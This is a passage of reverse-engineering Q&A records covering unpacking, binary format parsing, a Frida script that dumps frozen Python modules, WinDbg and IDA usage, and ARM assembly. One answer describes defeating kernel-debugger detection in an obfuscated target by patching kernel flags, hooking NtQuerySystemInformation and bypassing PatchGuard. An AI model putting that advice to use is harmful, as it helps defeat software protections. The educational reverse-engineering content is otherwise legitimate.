I'm new to reverse engineering, so maybe it's an easy question but not for me).\nI've got .exe file which is somehow packed.\nWhen I open it with IDA, I got warning that file was packed or modified, and lots of problems, such \"sp-analysis failed\" and virtual addresses pointed to nowhere. IDA Unpacker plugin swamps me with warnings.\nI tried to analyse HEADER. Sections have wrong bounds: pointer to raw data and size of raw data seems correct, but some virtual addresses IDA cannot resolve, and in \"Program Segmentation\" window some sections are missed. Most of instruction in file looks like this:

\n\n
___:00401000                 dd 9D3DBCCBh, 0DB7776EAh, 1F6BE17Bh, 0ADFBB803h, 4673D4B7h\n___:00401000                 dd 903ADB7Ch, 0B03DACBAh, 0CA4C9D26h, 0ECFF17BBh, 0AFC80EE6h\n___:00401000                 dd 0AE3EAEA3h, 5C244E1Ch, 8F68FA9Bh, 5671677Eh, 8C3CEC8Fh\n___:00401000                 dd 0F56291C8h, 3D050237h, 9543FF95h, 0DA02686Ch, 6BB1A7EBh\n___:00401000                 dd 32F012EAh, 99D0F3D3h, 8A8E08A5h, 1280ECB4h, 4B4ACACEh\n___:00401000                 dd 0FFB892h, 5E01507Bh, 94087230h, 969DCCDBh, 8DD0AB9Bh\n
\n\n

So what would be right approach? Should I create segments manual, and somehow say IDA to interpret it as code/data, or analyse entry point and \"start\" function that IDA found (with sp-analyse problem at the end)? Or it's better to try make IDA Unpacker plugin work?

\n", "Title": "Packed PE-file, where to start?", "Tags": "|ida|pe|unpacking|", "Answer": "

Well, if the packed program executes itself from a virtual environment, things are very difficult. You have to start with the call stack window of ollydbg. Try to find there in which address does it point the packer and go backwards untill you find the Original Entry Point. Then you can use the PE editors to track and remove the packer. Sounds plain sail and not really helpful, i know, but that's how it usually works... I am not very experienced, too, but i 've spent some time over manual unpacking. Wish you luck!

\n" }, { "Id": "8920", "CreationDate": "2015-05-17T11:55:32.527", "Body": "

I'm trying to find a way how I can read the textbox inside the idle. The Idle is (I think) written in python (Tkinter ?).

\n\n

I have tried to find the function which reads the textbox.text through checking the exports function inside the tk85.dll but I coudn't find it.\nA normal windows exe would be easier since I have to search for GetDlgItemText(). But how I can done something like this with python written code :O

\n\n

\"enter

\n", "Title": "How I can get the text with c# from Tkinter (python) window?", "Tags": "|ollydbg|python|", "Answer": "

After lots of research I have found an option:\nPython C# Pipe

\n\n

It creates a temp file where I then can communicate between Python and C#. So I can now write an extension for the idle which will get the text inside the tkinter textbox and sends it to my c# wpf window :)

\n" }, { "Id": "8930", "CreationDate": "2015-05-19T06:36:37.487", "Body": "

I'm trying to decode this binary file which is from a cache. All I want is the playlist metadata. I am getting some of it using a simple hex viewer, but the majority of the information is random ascii. Is this because there is a bit offset that isn't being accounted for? Or is there something more complicated going on such as hashing or encryption?

\n", "Title": "Decoding binary - basics", "Tags": "|binary-analysis|hex|binary|", "Answer": "

One of the close reasons on Reverse Engineering is:

\n\n
\n

Questions asking for help reverse-engineering a specific system are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.

\n
\n\n

... and you don't appear to understand the \"concepts involved\". This is because I asked for a \"binary\", and you posted a paste bin link that starts like this:

\n\n
00000000 11011010 11110111 11101111 00101111 01001100 00000000 11011010 11110111 11101111 00101111 00110000 11010011 10101010 00000001 00001001\n00000100 01100110 01110010 01100101 01100101 00000001 00000111 01110000 01110010 01100101 01101101 01101001 01110101 01101101 00000001 00000111\n(1998 similar lines omitted)\n
\n\n

A 'binary', in the context of Reverse Engineering, is an original file. As it is in binary, before you can parse it, you have to know the exact file format, which seems to be not documented. A cursory search for the first few bytes lead to nothing (if they were known, they could indicate a magic number for this particular file type).

\n\n

But all is not lost yet. After converting the (*cough*) binary to a real file again and inspecting it with a simple hex viewer, I noticed plain text strings, where the byte immediately before it indicated the length of that text string. Further examination - looking at the values immediately following the text strings - indicated there is at least a single other byte before the length/data sequences. Not all data are plain text, but that was enough to quickly make up a C program and display what could be read.

\n\n

All the program initially did was read two bytes, show them, and then display n characters that immediately follow. I let the program start at a 'reasonable' position, further up in the file, because the first few entries did not seem to follow the exact same format.

\n\n

This was okay for the very first entry (I got a few lines of data and a text string), but right after that it got lost and didn't display anything useful. Careful examination of the 'failure point' showed that at least one value was special: hex 78, followed by another number, did not indicate that the second number was a data length. So I treated that as a special case: 'no data', and looped on with the rest.

\n\n

For the first 65 entries this went okay-ish: a regular list of raw data, text string, followed by 4 other lists of raw data. Only after that, the same problem appeared again: the list went 'out of sync' and displayed gibberish again. Further examination showed another problematic type byte: 08. This seems to have two bytes of fixed data. When I treated that as a special case as well, I got loads more useful output.

\n\n

At that point I stopped, because the general idea was clear. I found it not worth looking further into what the 'raw' data bytes mean, because they do not clearly indicate 'time stamps' or 'song lengths'. The first set of 16 bytes may indicate a hash or an encryption key; the 4 other sets, all 20 bytes, could be the data you are looking for - but they are not in a regular format.

\n\n

I skipped the first 70 or so bytes because I did not immediately could see what they were for \u2013 I strongly suspect they contain metadata about the list itself (its number of entries, for example).

\n\n

Note that the 'text strings' are encoded using UTF8. The 'unknown' characters in

\n\n
\"Skrillex and Diplo present Jack [c3][9c]\"\n
\n\n

is actually a regular encoding of \"Jack \u00dc\", which is \"an American DJ duo, side group and collaborative project\" (source). Recognizing 'regular' data sequences such as these is an acquired skill (and verifying that the interpretation is valid is plain common sense; it is only a quick Wikipedia lookup).

\n\n

Without further a-do, I wrote up the following C program in less time than it took to write this post.

\n\n
#include <stdio.h>\n\nint main (void)\n{\n    FILE *f = fopen (\"spotify.bin\", \"rb\");\n    int i,type,len;\n\n    if (!f)\n    {\n        printf (\"no file?\\n\");\n        return 0;\n    }\n\n    fseek (f, 0x45, SEEK_SET);\n\n    do\n    {\n        type = fgetc(f);\n        if (type == EOF)\n            break;\n        type &= 0xff;\n        len = fgetc(f) & 0xff;\n\n        printf (\"type %02X len %02X: \", type, len);\n        switch (type)\n        {\n            case 0x08:\n                i = fgetc(f);\n                printf (\" %02X\", i & 0xff);\n                printf (\"\\n\");\n                break;\n            case 9:\n                printf (\"\\\"\");\n                while (len--)\n                {\n                    i = fgetc(f);\n                    if (i >= ' ' && i <= '~')\n                        putchar (i);\n                    else\n                        printf (\"[%02x]\", i & 0xff);\n                }\n                printf (\"\\\"\\n\");\n                break;\n            case 0x78:\n                printf (\"\\n\");\n                break;\n            default:\n                while (len--)\n                {\n                    i = fgetc(f);\n                    printf (\" %02X\", i & 0xff);\n                }\n                printf (\"\\n\");\n        }\n    } while (1);\n\n    return 0;\n}\n
\n" }, { "Id": "8938", "CreationDate": "2015-05-19T23:00:14.983", "Body": "

So im working on an crackme and came across a couple of FPU loads and pops that confused me.

\n\n

Address main 0040169E pops 80 bit value of 00000000_FED63690h from the FPU stack (ST0=4275451536.0000000000) to the CPU stack

\n\n

but when put on the CPU stack its value is changed to

\n\n
CPU Stack\nLocked    Value      ASCII Comments\n0028FB38  |D2000000     \u00d2\n0028FB3C  |41EFDAC6  \u00c6\u00da\u00efA\n
\n\n

Why?

\n\n

Here is the code with some comments:

\n\n
main    00401696    PUSH EAX                                EAX=FED63690\nmain    00401697    FILD QWORD PTR SS:[LOCAL.268]           Loads the FED63690 as a 64 bit value so -> 00000000_FED63690\nmain    0040169A    LEA ESP,[LOCAL.266]                     ESP=0028FB20 (loads address of string on stack), ST0=4275451536.0000000000 (which euals above number)\nmain    0040169E    FSTP QWORD PTR SS:[LOCAL.260]           POPS 80 bit value of ST0 onto program stack as 64 bit   \n\n        LOCAL.260 is address 0028FB38\n\n        Stack now looks like:\n\n        CPU Stack\n        Locked    Value      ASCII Comments\n        0028FB38  |D2000000     \u00d2\n        0028FB3C  |41EFDAC6  \u00c6\u00da\u00efA\n\n\nmain    004016A4    FLD QWORD PTR SS:[LOCAL.260]            Loads value onto FPU Stack so -> ST0=4275451536.0000000000 (Same as before)\nmain    004016AA    FSTP QWORD PTR SS:[LOCAL.264]           <%i> = -771751936.       POPS 80 bit value of ST0 onto program stack as 64 bit\n\n        LOCAL.260 is address 0028FB28\n\n        Stack now looks like:\n\n        CPU Stack\n        Locked    Value      ASCII Comments\n        0028FB28  |D2000000     \u00d2\n        0028FB2C  |41EFDAC6  \u00c6\u00da\u00efA\n\n\nmain    004016AE    MOV DWORD PTR SS:[LOCAL.265],00401469   Format => \"%i\"\nmain    004016B6    LEA EAX,[LOCAL.194]             \nmain    004016BC    MOV DWORD PTR SS:[LOCAL.266],EAX        s => OFFSET LOCAL.194\nmain    004016BF    CALL <JMP.&msvcrt.sprintf>          \n\n        Result is:\n\n        s=\"-771751936\"\n
\n", "Title": "Trouble understanding change in number when popped from FPU to CPU Stack", "Tags": "|stack-variables|", "Answer": "

4275451536 is greater than 2^31 (2147483648) but less than 2 ^32 (4294967296)
\nso it is represented as 2^31 + ( 2 ^31 * ((4275451536 - 2 ^31 ) / 2^31)
\nie 2^31 * 1.990912266075611114501953125

\n\n

exponent is always written with bias (1023 for 64 bit precision) added to it so 1054 = 0x41e

\n\n

fractional part can be written as 1/2 + 1/4 + 1/8 + 1/16 + 1/32 + 1/64 ..... 1/2 ^n

\n\n
0.984375     < 0.990912266075611114501953125 < 0.9921875\n\n(1/2+...+1/64) <   -------                     < (1/2+....+ 1/128)\n 111111\n
\n\n

mantissa is approximated upto 52 bits explicitly and 1 or 0 is added implicitly

\n\n

a c src that shows the conversion of your specific decimal is shown below

\n\n
#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#define BIAS 1023\nint main(void) {\n    char binform[100] = {0};\n    unsigned long a = 4275451536;\n    _ultoa_s(a%2,&binform[0],4,10);\n    a = a/2;\n    int i = 1;\n    while (a>2) {\n        a = a/2;\n        _ultoa_s(a%2,&binform[i++],4,10);\n    }\n    char paddedstr[100] = {0};\n    sprintf_s(paddedstr,100,\"%s0000000000000000000000\",_strrev(binform));\n    printf(\"%x-%I64x\\n\",i+BIAS,_strtoui64(&paddedstr[1],0,2));\n}\n
\n\n

on execution the results are

\n\n
>F2H.exe\n41e-fdac6d2000000\n
\n" }, { "Id": "8942", "CreationDate": "2015-05-20T23:21:05.570", "Body": "

I have a running memory dump saved as a raw binary file. This isn't a standalone executable - it's literally just a snapshot of running memory.

\n\n

I'm looking for a tool that will help me identify assembly instructions within this binary file. Does such a tool exist?

\n\n

I know you can use OllyDebug or IDAPRO to analyze executables. However, since this is a full memory dump, it'a not clear to me whether these tools are still applicable. For a raw memory dump there isn't a clear entry point that IDA can start with.

\n\n

Any suggestions would be very helpful. Thanks!

\n", "Title": "How to retrieve assembly from a raw memory dump?", "Tags": "|assembly|memory|digital-forensics|", "Answer": "

Disassembling

\n\n

You can disassemble in WinDbg at any memory address, e.g.

\n\n
0:067> db 000007fe`ff4d0000\n000007fe`ff4d0000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............\n000007fe`ff4d0010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......\n000007fe`ff4d0020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n000007fe`ff4d0030  00 00 00 00 00 00 00 00-00 00 00 00 e0 00 00 00  ................\n000007fe`ff4d0040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th\n000007fe`ff4d0050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno\n000007fe`ff4d0060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS \n000007fe`ff4d0070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......\n\n0:067> u 000007fe`ff4d0000 L1\nadvapi32!WmipBuildReceiveNotification <PERF> (advapi32+0x0):\n000007fe`ff4d0000 4d5a            pop     r10\n
\n\n

But as you can see, this is more or less useless (in my example useless to disassemble the MZ magic bytes of a DLL's header).

\n\n

So, finding the right starting place for a disassembly is the critical part.

\n\n

Finding code as part of DLLs

\n\n

Code should mainly be in DLLs or EXEs (called images or modules in WinDbg). To find them in a memory dump (kernel or user mode), you can run the WinDbg command

\n\n
.imgscan\n
\n\n

From WinDbg help:

\n\n
\n

The .imgscan command scans virtual memory for image headers.

\n \n

The .imgscan command displays any image headers that it finds and the header type. Header types include Portable Executable (PE) headers and Microsoft MS-DOS MZ headers.

\n
\n\n

I was able to verify this in user mode, but with the only Windows XP kernel mode dump I currently have, it does not output anything.

\n\n

Example output from a user mode dump:

\n\n
MZ at 000007fe`ff4d0000, prot 00000004, type 00020000 - size db000\n  Name: ADVAPI32.dll\n
\n\n

So all the necessary information to get the DLL is available. In case of a user mode dump I have used

\n\n
.writemem <FileName> <Range>\n
\n\n

to write the DLL to disk and analyze later.

\n\n

<Range> is according the address and range syntax, e.g.

\n\n
.writemem advapi32.dll 000007fe`ff4d0000 Ldb000\n
\n\n

This probably won't work for kernel mode dumps because parts of the module may have been swapped to disk, so the DLL in memory is no longer complete.

\n\n

This approach will also not find code that was generated on the fly.

\n\n

Finding potentially executable code

\n\n

Code that can be executed must reside in a memory block that has the executable flag set.

\n\n

Unfortunately the command

\n\n
!address -f:<filter>\n
\n\n

is broken in WinDbg 6.2.9200. It should work in user mode dumps and output a list of start and end addresses that are executable.

\n\n

At the moment I only get

\n\n
0:067> !address -f:PAGE_EXECUTE\n\n        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage\n------------------------------------------------------------------------------------------------------------------------\n\n0:067> !address -f:PAGE_EXECUTE_READ\nInvalid filter arguments. Type !address -? to get the list of supported parameters\n0:067> !address -f:PAGE_EXECUTE_READWRITE\nInvalid filter arguments. Type !address -? to get the list of supported parameters\n0:067> !address -f:PAGE_EXECUTE_WRITECOPY\nInvalid filter arguments. Type !address -? to get the list of supported parameters\n
\n\n

Although I have a full memory dump

\n\n
0:067> .dumpdebug\n...\nFlags           40002\n                0002 MiniDumpWithFullMemory\n                40000 MiniDumpWithTokenInformation\n
\n\n

But you get the idea and might be able to apply it to other tools.

\n" }, { "Id": "8949", "CreationDate": "2015-05-21T22:03:20.717", "Body": "

(Note)I have already seen this post: Reverse Engineering program written in Python, compiled with "freeze"

\n\n

Would anyone know how to do what is done in the link above using the PyCommand but with a mac app? The program I am trying to reverse engineer is compiled using the exact same program but the binary is a mac application.

\n\n

Unfortunately Immunity Debugger is only able to be run on windows, so I cannot use the PyCommand (to my knowledge). Any help is appreciated, thank you.

\n", "Title": "Reverse Engineering a python mac application compiled with \"freeze\"", "Tags": "|python|", "Answer": "

As per the linked post you can use any debugger to dump frozen modules compiled with freeze. However since you are on a mac, PyCommand and Immunity Debugger will not work. However that does not prevent you from working your ways in.

\n\n

On a non Windows OS, you can use frida to inject your code inside the running executable. Since frida injects javascript inside the process, you need to translate the python code to js.

\n\n

You only need to dump relevant frozen modules, and it would happen automatically as _frozen is an array of all frozen modules.

\n\n
\n\n

UPDATE

\n\n

Here is a script to dump frozen modules using the python bindings for frida. The script is fairly portable and should work on all OS. You only need to provide the PID of the relevant process which you can get from Activity Monitor / System Monitor / Task Manager for your OS.

\n\n
import frida, struct, sys\n\n# Magic value of pyc files, The value provided here is for python 2.7\n# You can get it by imp.get_magic()\nPYTHONMAGIC = '\\x03\\xF3\\x0D\\x0A' + '\\x00' * 4\n\n# Provide the pid of your process\nPID = 2008\n\n# The size of a pointer is 8 bytes on 64 bit OS and 4 on a 32 bit OS\nptr_size = 8 if sys.maxsize > 2**32 else 4\n\n# Name of python shared library\nif sys.platform.startswith('linux'):\n    lib_name = 'libpython2.7.so'\nelif sys.platform.startswith('darwin'):\n    lib_name = 'libpython2.7.dylib'\nelif sys.platform.startswith('win32'):\n    lib_name = 'python27.dll'\nelse:\n    raise Exception('Unsupported platform')\n\n\nsession = frida.attach(PID)\nexport_va = 0\n\n# Read a null terminated C string or a char array of a given length\ndef readString(addr, size = 0):\n    if size > 0:\n        return struct.unpack('@{}s'.format(size) , session.read_bytes(addr, size))[0]\n    elif size == 0:\n        s = ''\n        while True:\n            ch, = struct.unpack('@c', session.read_bytes(addr, 1))\n            addr += 1\n            if ch == '\\x00':\n                break\n            else:\n                s += ch\n        return s\n    else:\n        return ''\n\n\nmodules = session.enumerate_modules()\nfor module in modules:\n    if module.name == lib_name:\n        exports = module.enumerate_exports()\n        for export in exports:\n            if export.name == 'PyImport_FrozenModules':\n                export_va = module.base_address + export.relative_address\n                break\n    if export_va != 0:\n        break\n\n\nif export_va == 0:\n    raise Exception(\"Could not get export address of PyImport_FrozenModules\")\n\nstructAddr, = struct.unpack_from('@P', session.read_bytes(export_va , ptr_size))\n\nwhile True:\n    ptrToName, ptrToCode, sizeOfCode = struct.unpack_from('@PPi', session.read_bytes(structAddr, ptr_size * 2 + 4))\n    structAddr += ptr_size * 2 + 4\n\n    # The array is terminated by a structure whose members are null\n    if ptrToName == 0 and ptrToCode == 0 and sizeOfCode == 0:\n        break\n\n    moduleName = readString(ptrToName)\n    moduleCode = readString(ptrToCode, sizeOfCode)\n\n    # You can change the output path here\n    with open(moduleName + '.pyc', 'wb') as f:\n        f.write(PYTHONMAGIC + moduleCode)\n\nprint '[*] Frozen modules dumped'\n
\n" }, { "Id": "8955", "CreationDate": "2015-05-22T10:02:03.793", "Body": "

Is there a way to set memory breakpoint on Access on IDA in Win32 debugger... like we do in Olly from the memory window ?

\n\n

I tried to do that with the example \"UnPackMe_NoNamePacker.d.out.exe\" in 20th tutorial in lena series, but it's never triggered. Actually, after setting the memory bp on \"text\" seg., the app won't run !\nHere is the file: https://tuts4you.com/download.php?view.141

\n", "Title": "Set memory breakpoing on access on a section in IDA", "Tags": "|ida|unpacking|", "Answer": "

IDA doesn't do the kind of memory breakpoints that Olly implements. Olly implements memory breakpoints by changing the page protection, catching the exception, and then examining some extra data to see if it's one of its own memory \"breakpoints\". IDA only allows you to do regular software breakpoints (CC), and hardware breakpoints(DR0-DR3).

\n\n

That being said, if you'd like to break on a memory access using IDA's debugger, you'll have to use a regular hardware breakpoint. You simply click the DWORD in memory you'd like to break on, and then click Debugger -> Breakpoints -> Add Breakpoint. IDA will automatically populate the address of the DWORD in the \"Location\" field, and then you can set whatever other options you wish.

\n\n

If you want to set a breakpoint on an entire section similar to what you'd do from the Memory Map view in Olly, do the following:

\n\n
    \n
  1. In debugger mode, click View -> open Subviews -> Program Segmentation.
    2. \n
  2. Right-click on \".text\" or whatever other segment you need.
    3. \n
  3. Click \"Break on Access\"
    4. \n
\n\n

This will set a hardware breakpoint that will trigger on read and write. For this particular sample, that causes a problem since the packer obviously needs to read and write that section to unpack. So once you set the breakpoint, press Ctrl-Alt-B, and edit that breakpoint to only trigger on execute. Btw, you can also do this from the regular disassembly view as well by clicking Window -> Program Segmentation.

\n\n

I'm not quite sure why your program won't run. I stepped through to the \"IsDebuggerPresent\" check, modified the zero flag(Addr: 0x46BB1F), set the aforementioned hardware breakpoint, and the program ran and unpacked just fine. It does take a few seconds to unpack though, at least on my box. Double check your breakpoint settings, and verify that the following options are checked: \"enabled\", \"hardware\", \"break\", \"execute\", and that the address location is 0x401000. If you did this from the segmentation window, then the size should be 0x4A000. (It really doesn't need to be this big).

\n\n

Here's some more information on breakpoints if you're interested.

\n\n\n" }, { "Id": "8966", "CreationDate": "2015-05-23T01:32:32.950", "Body": "

I've been looking into the PE format using a random DLL as a test case. When I look manually at the entry point specified in the optional header (and add the image base, because RVA) it doesn't match the entry point address IDA gives in the exports list.

\n\n

I know reading the entry point from the DLL isn't the problem, since if I calculate:

\n\n
(AddressOfEntryPoint - [.text section virtual]) + [.text section offset]\n
\n\n

(which should give the file offset to the entry point) you can find at the offset the same bytes that IDA says should be in the entry function.

\n\n

Also I know that IDA must be calculating the entry point from this field since DLLEntryPoint isn't in the exports list.

\n\n

Am I missing something? If I do the same analysis on a normal executable everything works.

\n", "Title": "DLL entry point in memory", "Tags": "|dll|entry-point|", "Answer": "

When you open a DLL file with IDA, if IDA is able to find the DllMain() function then it will automatically navigate to that function when you first disassemble the DLL. Note that the DLL's entry point (which IDA names \"DllEntryPoint\") does not always (and in fact often does not) point to the DllMain() function.

\n\n

You can see in the image below (full-size at https://i.stack.imgur.com/CMUou.png) that the DLL's entry point is 10807A1C. I've pointed from the entry point's artificial entry in the Exports table (since IDA gets the address from the PE's Entry Point field, not the actual PE Export Table) to the disassembly for the entry point code via arrow #1.

\n\n

The code at the entry point (named DllEntryPoint() by IDA) calls ___DllMainCRTStartup() via arrow #2. Then __DllMainCRTStartup() calls DllMain() via arrow #3.

\n\n

The two function executed before DllMain() are from VC++ 6's runtime library.

\n\n

\"IDA\"

\n" }, { "Id": "8968", "CreationDate": "2015-05-23T05:13:44.103", "Body": "

I'm working on a program that has lots of checks, and I've decided to start by disabling their anti-kernel mode, as it'd surely be more easy to isolate than normal anti-debugging. After poking around a little, I found that ntdll.zwquerysysteminformation runs in a loop in the main thread called by several .vmp addresses. Since I can't make memory changes, even in DLLs (or debug it normally), I was thinking about setting up kernel mode breakpoints until I have a bit more to go off of, but to do that, I'd need the offset from the base structure containing the byte. Microsoft doesn't seem to provide this, so would anyone happen to know? Or maybe have general pointers on getting past kernel mode detection in obfuscated targets? I know this is pretty broad, but I'm pretty sure they'd only have used the most basic of methods.

\n", "Title": "Anti-kernelmode functions (specifically zwquerysysteminformation)", "Tags": "|disassembly|debuggers|kernel-mode|", "Answer": "

I think the check you're talking about (NtQuerySystemInformation with SystemKernelDebuggerInformation) simply checks KdDebuggerEnabled and KdDebuggerNotPresent under the hood (both are single bytes exported from ntoskrnl.exe). You could simply patch those two to get past that particular check. Alternatively, you could go for hooking NtQuerySystemInformation either in usermode (you've mentioned that you can't make memory changes, but that's usually not true - if a memory change at some location is detected, then make the change somewhere else) or in kernelmode (requiring a PatchGuard bypass on 64-bit systems).

\n\n

However, your kernel debugger might still be detected by its window/driver name.

\n" }, { "Id": "8971", "CreationDate": "2015-05-23T18:06:47.183", "Body": "

I disassembled an android library with IDA, and want to do some extra steps at the end of one of the functions. Currently, the last instruction bytes are BD E8 F0 8F, in thumb mode, which IDA disassembles to POP.W {R4-R11,PC}.

\n\n

So i found a nice little piece of unused space, replaced the POP.W with a branch there, wrote my extension, remembered to put a .thumb and .arch armv7a at the start of my program, and finished my code with that POP.W {R4-R11,PC}. Unfortunately, using gnu as from an arm toolchain, this results in Error: bad instruction pop.w '{R4-R11,PC}'

\n\n

Ok, gnu as doesn't like the .w suffix, so i replaced the instruction with POP {R4-R11,PC}. This changes the error message to Error: invalid register list to push/pop instruction -- pop {R4-R11,PC}

\n\n

I know that some older ARM chips had restrictions on what you could do with registers from R8 on, so, just for verification, i replaced the instruction with POP {R4-R7,PC}. And indeed, as assembles this well.

\n\n

Now I don't know how to continue?

\n\n\n\n

I also tried disabling macros in IDA's processor options, which didn't change anything. So i'm inclined to think the byte sequence is a genuine 4 byte thumb mode opcode.

\n\n

What else do i need to specify in my program to make gnu as recognize the instruction?

\n", "Title": "How do i make gnu as recognize all ARMV7 instructions?", "Tags": "|arm|assembly|", "Answer": "

By default, as, uses the old 'divided' syntax for arm and thumb instructions. Hence it is not recognising your pop.w instruction.

\n\n

To make it work, add .syntax unified at the start of your program. This tells it to use the new unified syntax and you should find it assembles pop.w successfully.

\n\n

See https://sourceware.org/binutils/docs-2.24/as/ARM_002dInstruction_002dSet.html for more details.

\n" }, { "Id": "8973", "CreationDate": "2015-05-24T08:00:04.440", "Body": "

Some of the general purpose registers are used for some specific reasons. For example EAX is used as an accumulator and to store return values, ECX is used as a counter, ESI and EDI are used to store the src and dst address, respectively. similarly, ESP and EBP.

\n\n

Is there any specific use case forEBX register? and Is there anything else that I have missed special use cases of general purpose registers?

\n\n

Thank you.

\n", "Title": "What are the some of the special usecases of general purpose registers", "Tags": "|disassembly|assembly|", "Answer": "

\u2022 AX/EAX/RAX: Accumulator

\n\n

\u2022 BX/EBX/RBX: Base index (for use with arrays)

\n\n

\u2022 CX/ECX/RCX: Counter

\n\n

\u2022 DX/EDX/RDX: Data/general

\n\n

\u2022 SI/ESI/RSI: Source index for string operations.

\n\n

\u2022 DI/EDI/RDI: Destination index for string operations.

\n\n

\u2022 SP/ESP/RSP: Stack pointer for top address of the stack.

\n\n

\u2022 BP/EBP/RBP: Stack base pointer for holding the address of the current stack frame.

\n\n

\u2022 IP/EIP/RIP: Instruction pointer. Holds the program counter, the current instruction address.

\n\n

Segment registers:

\n\n

\u2022 CS: Code Segment (used for IP)

\n\n

\u2022 DS: Data Segment (used for MOV)

\n\n

\u2022 SS: Stack Segment (used for SP)

\n\n

\u2022 ES: Destination Segment (used for MOVS, etc.)

\n\n

\u2022 FS: local store

\n\n

\u2022 GS: local store

\n" }, { "Id": "8978", "CreationDate": "2015-05-25T02:07:28.227", "Body": "

I am working as an ERP consultant for post 10 years. I find Ethical hacking and reverse engineering very interesting and want to become one. I have been reading some books and also watching videos. But, is it too late to choose that as a career? If not, what should I do, learn and imbibe?

\n\n

EDIT:Sorry folks! Only from the downvotes I realized that this question is opinion based and SO is not for such questions. However, from the comments and replies, I sense some motivation enough to fuel me. I will be deleting this post shortly.Thanks!

\n", "Title": "10 years as erp consultant. Is too late to become an ethical hacker?", "Tags": "|career-advice|", "Answer": "

Note: This is a very opinion based answer, so some people will strongly disagree with me. But your question doesn't have a real good answer that would be valid for others as well.

\n\n

My personal experience is that, to be good at hacking, ethical or not, you need to have a very strong drive to want to find out how things work, an eye for technical details, and the ability to figure out things of your own.

\n\n

Noone i know who is good at hacking, reverse engineering, or anything in related fields, decided one day \"I'd like to be a hacker, so let's learn how to do it\". Rather, these guys cut open the heads of their sister's dolls at the age of 6 to find out how the mechanism worked that closed the eyes when you laid them to bed, got their first electrical shock at 12 when they opened some electronics device, and started hacking as a hobby in their teens. Staying up all night to finally find out how something worked seemed to be much more rewarding that, say, talking an alcoholic drink out of a barkeeper when you were underage.

\n\n

Later, they turned the experience they had with this kind of stuff into a job. Much of this job belongs of long, arduous sessions at the computer, paying attention to every little detail, until you finally get your reward in that \"yay! I did it!\" feeling.

\n\n

This kind of person is not, in my opinion, somebody who does an ERP consultant job for 10 years, given the chance to choose. But in the end, it's up to you to decide if you're this type.

\n\n

I know many people who do a job they don't really like, work from 9 to 5 to earn their living, don't even want to think or talk about their job in their free time, and are still moderately successful in terms of money or social status. This is ok; many jobs aren't that demanding, but need to be done. However, this won't work if you intend to be a hacker. To be a successful hacker, you don't have to want to be a successful hacker, you have to be curious, need an intense appetite to satisfy that curiosity, and have a strong will to never stop attacking a problem until you solve it.

\n\n

Now, it's up to you to decide if that appeals to you.

\n" }, { "Id": "8989", "CreationDate": "2015-05-26T12:26:43.073", "Body": "

I'm trying to understand the syntax of the IT instruction that is to be used to enable conditional execution of instructions on ARM, in Thumb2 mode.

\n\n

The way I understand it, the bits in the CPSR register along with the IT instruction make conditional execution possible in Thumb mode. If I were writing some Thumb2 code perhaps I could go about following the process mentioned below.

\n\n

Lets say I have 4 conditional instructions(the maximum limit suported by IT).

\n\n
    \n
  1. First, I write down by conditional instructions. Lets say the prefixes for the four instructions are CLZNE.W, CLZEQ.W, ADDEQ, ADDNEQ.
    2. \n
  2. Now before the conditional instructions I add an instruction of the form ITEEE NE. The NE is added as the first instruction has an NE. The EEE following the IT are added as the last 3 instructions are the converse of an NE. Is this how assembly programmers write conditional thumb2 ARM code? Is my understanding of the process correct?
    3. \n
  3. Why is the condition encoded in both IT and the instructions that follow?
    4. \n
\n", "Title": "Conditional instructions on ARM", "Tags": "|arm|", "Answer": "

The condition codes displayed after the instructions is a convenience feature of the disassembler (deduced from the preceding IT instruction), the individual Thumb-2 instructions do not encode the condition codes. Adding condition codes even if they're not encoded is also the practice recommended by ARM when writing UAL assembly. This serves two purposes:

\n\n
    \n

  1. The assembler can check that the IT instruction matches the following conditional-suffixed instructions (e.g. all T instructions use the same condition as IT itself and all E ones use the opposite one),and no conditional instructions appear outside of the IT range.

    2. \n

  2. The same assembly can be used when assembling for ARM mode - the IT instruction is ignored (or hidden by an ifdef) and conditional instructions are assembled as regular conditional ARM instructions.

    3. \n
\n" }, { "Id": "8992", "CreationDate": "2015-05-26T14:30:22.467", "Body": "

When I disassemble ARM code that deals with floating point values, how can I print out the registers? (I'm using Gdb).

\n\n
   0x000083d8 <+12>:    ldr r3, [pc, #56]   ; 0x8418 <main+76>\n   0x000083dc <+16>:    str r3, [r11, #-8]\n   0x000083e0 <+20>:    vldr    s14, [r11, #-8]\n   0x000083e4 <+24>:    vldr    s15, [pc, #40]  ; 0x8414 <main+72>\n
\n\n

How could I print out the s14 register in this case?

\n", "Title": "Floating point registers on ARM", "Tags": "|arm|", "Answer": "

p $reg

\n\n

In QEMU v3.0.0 built from source user mode + GDB 8.2 Ubuntu 16.04, if you do: info registers and info vector it does not show the floating point values but rather rounds them down to integers, I think there is a bug.

\n\n

The following does work however. First I load:

\n\n
1.5, 2.5, 3.5, 4.5\n
\n\n

into v0 / q0.

\n\n

ARMv8

\n\n
